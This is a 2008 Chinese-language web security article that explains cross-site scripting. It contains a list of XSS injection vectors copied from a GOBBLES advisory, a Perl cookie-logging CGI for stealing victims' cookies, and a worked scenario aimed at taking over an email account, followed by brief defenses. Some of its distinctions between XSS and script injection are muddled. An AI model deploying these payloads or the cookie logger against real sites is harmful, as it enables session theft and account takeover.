科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道浅析跨站脚本攻击挂马利用

浅析跨站脚本攻击挂马利用

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

随着网络应用的普及,跨站脚本攻击漏洞经常在一些安全站点发布,这里笔者将整理一些对XSS跨站挂马的一些看法,错误之处请多多指正。

作者:独自等待 来源:IT专家网 2008年10月13日

关键字: 网页挂马 跨站脚本攻击 Web安全

  • 评论
  • 分享微博
  • 分享邮件

  随着网络应用的普及,跨站脚本攻击漏洞经常在一些安全站点发布,这里笔者将整理一些对XSS跨站挂马的一些看法,错误之处请多指点。

  什么是跨站脚本(XSS)?

  所谓跨站脚本攻击是指在远程WEB页面的html代码中插入具有恶意目的代码,用户误认为该页面是可信赖的,当用户打开该页面,浏览器会自动下载恶意代码,运行其中的脚本。通常跨站脚本被称为"XSS",这是为了与样式表"CSS"进行区分所形成的习惯,所以当你听某人提到CSS或者XSS安全漏洞时,通常指得是跨站脚本攻击。

  XSS与脚本注射的区别?

  在开始XSS之前,我们需要明白并非所有在网页中插入利用脚本的攻击都被称为XSS。脚本注入是我们常见的另外一种情形,他们的区别在以下两点:

  1、脚本注入攻击会将攻击者插入的脚本保存在远程WEB页面里,如SQL注入、XPath注入。

  2、跨站脚本攻击相对注入脚本攻击是临时的行为,执行后便从页面中消失。

  常见的可被插入脚本的网页有以下几种:

  HTML

  JavaScript (本文讨论)

  VBScript

  ActiveX

  Flash

  浅析XSS漏洞

  许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或有其他类型的错误时,出错信息会通过一个显示错误内容的html页面发送到给访问者。例如: 404错误,提示页面不存在。

  我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。

  例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html

  该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_ me.html,一个包含404错误信息的页面将反馈给访问者的浏览器。这里我们需要思考,错误信息是如何写入到html文件里呢?

  注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一些Javascript代码到页面里。

  当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"。

  这个例子只是一个XSS漏洞的简单演示,并无实际意义,只用以说明问题所在。

  下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理,就直接写入404错误页面中,结果创建了一个页面,如下:

  <html>

  <b>404</b> - <script>alert(’XSS_Vuln_Testing’)</script> Not Found!

  </html>

  其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。

  利用XSS

  如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入一个html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入到该html页面中。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。

  实例:

  假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的目标是A。

  已知某存在XSS漏洞的URL www.myemailserver.tld/cgi-bin/news.cgi?article=59035

  接修URL如下:

  www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red

  这会创建了一个错误页面,我们得到如下信息:Invalid Input! [article=hax0red]

  当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。

  <snip>

  copy from:GOBBLES SECURITY ADVISORY #33

  Here is a cut-n-paste collection of typical JavaScript-injection hacks

  you may derive some glee from playing with.

  <a href="javascript#[code]">

  <div onmouseover="[code]">

<img src="javascript:[code]">

<img dynsrc="javascript:[code]">[IE]

  <input type="image" dynsrc="javascript:[code]">

[IE]

  <bgsound src="javascript:[code]">

[IE]

  &<script>[code]</script>

  &{[code]}; [N4]

<img src=&{[code]};>[N4]

  <link rel="stylesheet" href="javascript:[code]">

  <iframe src="vbscript:[code]">

[IE]

<img src="mocha:[code]">

[N4]

<img src="livescript:[code]">

[N4]

  <a href="about:<script>[code]</script>">

  <meta http-equiv="refresh" content="0;url=javascript:[code]">

  <body onload="[code]">

  <div style="background-image: url(javascript:[code]);">

  <div style="behaviour: url([link to code]);">[IE]

  <div style="binding: url([link to code]);">[Mozilla]

  <div style="width: expression([code]);">[IE]

  <style type="text/javascript">[code]</style> [N4]

  <object classid="clsid:..." codebase="javascript:[code]">[IE]

  <style><!--</style><script>[code]//--></script>

  <![CDATA[<!--]]><script>[code]//--></script>

  <!-- -- --><script>[code]</script><!-- -- -->

  <script>[code]</script>

<img src="blah"

onmouseover="[code]">

<img src="blah>"

onmouseover="[code]">

  <xml src="javascript:[code]">

<xml id="X"><a><b><script>[code]</script>;</b></a></xml>

  <div datafld="b" dataformatas="html" datasrc="#X"></div>

[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]

  ----Copied from GOBBLES SECURITY ADVISORY #33----

  </snip>

  获取cookie并且做记录实例:

  注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,使用javascript创建访问者的cookies,javascript脚本放在index.html文件中。

  假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:

  http://website.tld/program.cgi?input=<恶意javascript>

  我们创建这样一个连接:

  ---------evil_cookie_logger.cgi-----------

  #!/usr/bin/perl

  # evil_cookie_logger.cgi

  # remote cookie logging CGI coded by BrainRawt

  #

  # NOTE: coded as a proof of concept script when testing for

  # cross-site scripting vulnerabilities.

  $borrowed_info = $ENV{’QUERY_STRING’};

  $borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

  open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:

  text/html\n\n something went wrong\n";

  print EVIL_COOKIE_LOG "$borrowed_info\n";

  print "Content-type: text/html\n\n";

  close(EVIL_COOKIE_LOG);

  ------------------------------------------

  该脚本首先通过 $ENV{’QUERY_STRING’}获得cookie,打印到$borrowed_info变量里,通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_log文件。

  注意:上面的脚本,可能在一些浏览器或者站点上不能执行,用户需要根据自己的情况进行修改。

  如何防范XSS攻击?

  1、在WEB浏览器上禁用javascript脚本

  2、开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">",可以把"<",">"转换为<,>

  注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。

  对受害者来说不要访问包含<script>字符的连接,通常正规可信的URL不会包括任何脚本元素。

  补充:现已存在利用XSS漏洞挂马现象,用户及网站管理员需警惕。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章